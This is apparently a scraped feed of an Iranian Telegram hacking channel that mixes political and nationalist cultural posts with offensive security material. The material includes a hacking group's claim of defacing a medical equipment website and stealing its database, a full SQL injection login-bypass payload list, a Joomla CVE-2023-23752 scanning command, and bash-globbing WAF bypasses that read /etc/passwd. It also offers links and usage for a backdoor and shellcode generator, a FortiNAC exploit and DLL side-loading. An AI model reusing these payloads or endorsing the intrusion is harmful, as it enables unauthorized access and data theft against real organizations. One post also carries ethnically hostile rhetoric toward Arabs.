تو این‌روزا که داریم تو سر و کله هم میزنیم
مجاهدین‌ لایحه بردن کنگره واسه جمهوری دموکراتیک‌ ایران و مریم رجوی رو هم بعنوان رهبر اپوزیسیون معرفی کردن .
دشمن ایران کیه ؟
مجاهد ، جمهوری اسلامی ، تجزیه طلب
وسلام
برید ایمیل بزنید 👇

https://www.congress.gov/bill/117th-congress/house-resolution/118/cosponsors?r=21&s=1&utm_source=clubhouse
@pfksecurity

VPS-web-hacking-tools

Automatically install some web hacking/bug bounty tools for your VPS.

https://github.com/supr4s/VPS-web-hacking-tools

#VPS #hack
@PfkSecurity

🔴Once again we hacked your server, yes we are!

Website : meymed.com

By infiltrating the country's medical equipment site again, we defaced the site and invited people to the call on 27th of Bahman, and obtained the database again.
We still took the server out of reach due to security issues!
We don't forgive, we don't forget...
Wait for us, we will come again...

Thanks to the pkfsecurity team for our cooperation.

🔴 بار دیگر سرور شما را هک کردیم ، بله ما هستیم !

سایت : meymed.com

با نفوذ دوباره به سايت تجهیزات پزشکی کشور سایت را دیفیس و مردم را به فراخوان ۲۷ بهمن دعوت کردیم ، و دیتابیس را بار دیگر به دست آوردیم .
همچنان به دلیل مسائل امنیتی سرور را از دسترس خارج کردیم !
نمیبخشیم ، فراموش نمیکنیم ...
منتظر ما باشید ، باز هم میایم ...

با تشکر از تیم pkfsecurity در همکاری ما .

⚫ BLACK WOLVES TEAM ⚫

۲۵ بهمن ماه سالگشت جنگ #نهاوند

جنگی که چیرگی بر شکوه و بزرگی، جشن‌ها، شادمانی‌ها، راستی‌ها، درستی‌ها، نیکی‌ها، ارزش‌ها و منش ایرانی انسانی بود و آغاز فرومایگی، واپسگرایی، خرافات، یاوه‌ها، خردباختگی، خودباختگی خودفروشی، دروغ، نیرنگ، خواری، پستی، بی‌اعتباری و بی‌ارزشی و...
٢۵بهمن ماه سالگشت جنگ نهاوند روز به سوگ نشستن است. روز نسل‌کشی ایرانیان بدست اعراب مسلمان که کشتارها بسیار فراوان کردند. چپاول‌ها و غارت‌ها کردند، ویرانی‌ها کردند و سوزاندند. مردان و پسران ایرانی را به اسارت گرفتند و نوکری گماشتند.‌ دختران و زنان ایرانی را به بند کشیدن و به برده‌گی بردن و آنان را در بازار مدینه و مکه به فروش رساندند.

آری ١٣۸۲سال پیش در چنین روزی ایرانیان نیک سرشت در جنگ نهاوند از اعراب مسلمان عربستان اهریمن شکست خوردند تا که #فرهنگ_ناب، #تمدن_بزرگ، #تاریخ_کهن و #آیین نیک نیاکان ایرانی‌مان گرفتار شود. درود بر زنان و مردان ایرانی که در برابر تازیان مسلمان از همان زمان تاکنون تا پای جان‌ ایستادند و جانفشانی کردند.
یاد و نامشان جاودان‌ 🥀

#نهاوند #قادسیه #واجرود #جلولا #سیستان #تبرستان
@PfkSecurity

SQL injection auth bypass list

or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

#sqli #SqlInjection
@PfkSecurity

ابزار تست امنیت و نفوذ شبکه
https://github.com/ds19991999/SecBox

#tools #network #pentest #Security
@pfkSecurity

CVE-2023-23752
Joomla webservice endpoint access
PoC
httpx -l ip.txt -path '/api/index.php/v1/config/application?public=true'
#cve
@pfksecurity

🔥 اسپندگان فرخ باد 🔥


💠 جشن اسپندگان، روز اسپند از ماه اسپند، یکی از جشن‌ های باستانی ایران است که برابر گاهشماری زرتشتی که دوازده ماه ۳۰ روزه دارد، پنجمین روز در ماه اسپند بوده ولی در تقویم ایران که خورشیدی است و شش ماه نخست سال ۳۱ روز دارد، روز ۲۹ بهمن خورشیدی جای گرفته است و این شش روز اختلاف میان گاهشماری زرتشتی و خورشیدی به خاطر همان شش ماه نخست سی و یک روزه در گاهشمار خورشیدی است.

💠 واژه «اسپند» در اوستا به ریخت (شکل) «سپندارمز» آمده و در سرودهای زرتشت (گاتها) «سپَنتَ آرمَیتی» است. سپنته به معنی مقدس و آرمیتی به معنی آرمان و اشغ (عشق) پاک است. این ویژگی، چهارمین گام‌ رازوری (عرفان) در باور مزدیسنان بوده و یکی از فروزه های برگرفته از راز اهورامزدا است. سپنته آرمیتی در جهان مینُوی، نماد بردباری، فروتنی، فدا شدن و از خود گذشتگی است و از آنجا که این ویژگی های نیک را بیشتر در بانوان می توان مشاهده کرد، این جشن را به زنان نسبت داده اند و چون برخی از ویژگی های بانوان مانند زایندگی، پروراندن، فروتنی و شکیبایی را زمین نیز در خود دارد، جشن اسپندگان جشن پاسداشت زمین و بزرگداشت جایگاه زنان نیک است.
در گاهشماری ترادادی (سنتی) زرتشتی، دوازدهمین ماه از سال و پنجمین روز از هر ماه «اسپند» نام دارد، از این ‌روی در روز اسپند از ماه اسپند، پیش از فرا رسیدن بهار و پیدایش گل و گیاه همراه با شور اشغ در هستی، بالندگی زاستار (طبیعت) و نوشدن زمین «جشن اسفندگان» بر پا می‌ گردد.

💠 بانوان ایرانی در جشن اسپندگان، پس از نیایش، پوشش نو بر تن کرده، خود را می ‌آراستند. در چنین روزی دست از کار همیشگی کشیده به شادی و پایکوبی می ‌پرداختند. دختران و بانوان در جشن اسپندگان دسته های گل را به آغوش می گرفتند که شایستگی آن را داشته باشند.

🔥 جشن اسپندگان،
روز اسپند از ماه اسپند،
گاه بزرگداشت زنان،
هنگام پاسداشت زمین،
گاه رهایی و شادی بانوان،
جلوه گاه آرمان و اشغ پاک،
روز مادر، روز مهر،
پیشاپیش
بر بانوان مهر پرور گیتی فرخنده باد.

#اسفندگان
#سپندارمز
#سپندارمزگان
#جشن_های_ایرانی
@pfksecurity

دسترسی به شبکه Cloudflare از ساعاتی پیش در بسیاری از ISPهای داخل #ایران محدود شده است.
https://twitter.com/NarimanGharib/status/1627004712678457344

جشن سپندارمذگان جشن اصیل ایرانی (روز عشق به تاریخ ایران باستان)

نه به ولنتاین و فرهنگ غربی
درود بر فرهنگ اصیل ایرانی

۱۹ فوریه روز سپندارمذگان رو تبریک عرض مینماییم

#جشن #جشن_های_ایرانی
@PfkSecurity

⌨ بایپس فایروال برنامه وب (WAF) با globbing

Bash
می تواند جایگزینی نام فایل را انجام دهد، پروسسی به نام "globbing"، اما از مجموعه استاندارد عبارات منظم استفاده نمی کند.

اگر یک WAF (فایروال برنامه وب) وجود دارد که پیلودهای RCE (اجرای کد از راه دور) و LFI (شامل فایل محلی) را فیلتر می کند، می توانید با جایگزینی آن را دور بزنید.

به عنوان مثال:

/usr/bin/cat /etc/passwd == /???/???/c?t$IFS/?t?/p?s?wd

? = هر شخصیت واحد
* = هر رشته ای، از جمله یک رشته با طول صفر!
$IFS =
جداکننده فیلد داخلی در سیستم های یونیکس = فضا، تب یا خط جدید

به عنوان مثال، تمام ورودی های زیر باید "/bin/cat /etc/passwd" را در یک سیستم لینوکس معمولی انجام دهند:

/*/?at$IFS/???/???swd
/****/?at$IFS/???/*swd
/**/?at$IFS/???/**swd

می تونی امتحان کنی!

#web
@pfksecurity

از چه ابزارهای آزمایش اکسپلویت برای تشخیص آسیب‌پذیری‌ها استفاده می‌کنید؟
من می‌دانم که مردم از پایگاه‌های اطلاعاتی exploit مانند exploit-db استفاده می‌کنند، اما شما از چه ابزارهایی برای تشخیص اینکه چه اکسپلویت‌ها هستند بدون شکستن سیستم استفاده می‌کنید؟

بحث در :
https://t.iss.one/+114BerAH5lo1ODM0

بکدور و سازنده shellCode برای معماری های مختلف (0x001)

https://github.com/doudoudedi/hackEmbedded#install
#Shellcode #Backdoor
@pfksecurity

🔥🔥🔥Fortinet FortiNAC CVE-2022-39952 Deep-Dive, PoC and IOCs
An external control of file name or path vulnerability [CWE-73] in FortiNAC webserver may allow an unauthenticated attacker to perform arbitrary write on the system.

🔖PoC exploit here
Usage:
python3 CVE-2022-39952.py --target IP --file payload

Wizard-Loader

Abuse Xwizard.exe for DLL Side-Loading

@pfksecurity

«نباید بترسم؛ ترس قاتل ذهن است. ترس، مرگ کوچکی است که به ویرانی تام و تمام می‌انجامد. با ترسم روبه‌رو می‌شوم و میگذارم از من، از درون من بگذرد؛ و چون گذشت، چشم درونم را به راهش می‌گردانم. در آنجا که ترس رفته هیچ نمی‌بینم، فقط منم که برجای میمانم.»

@pfksecurity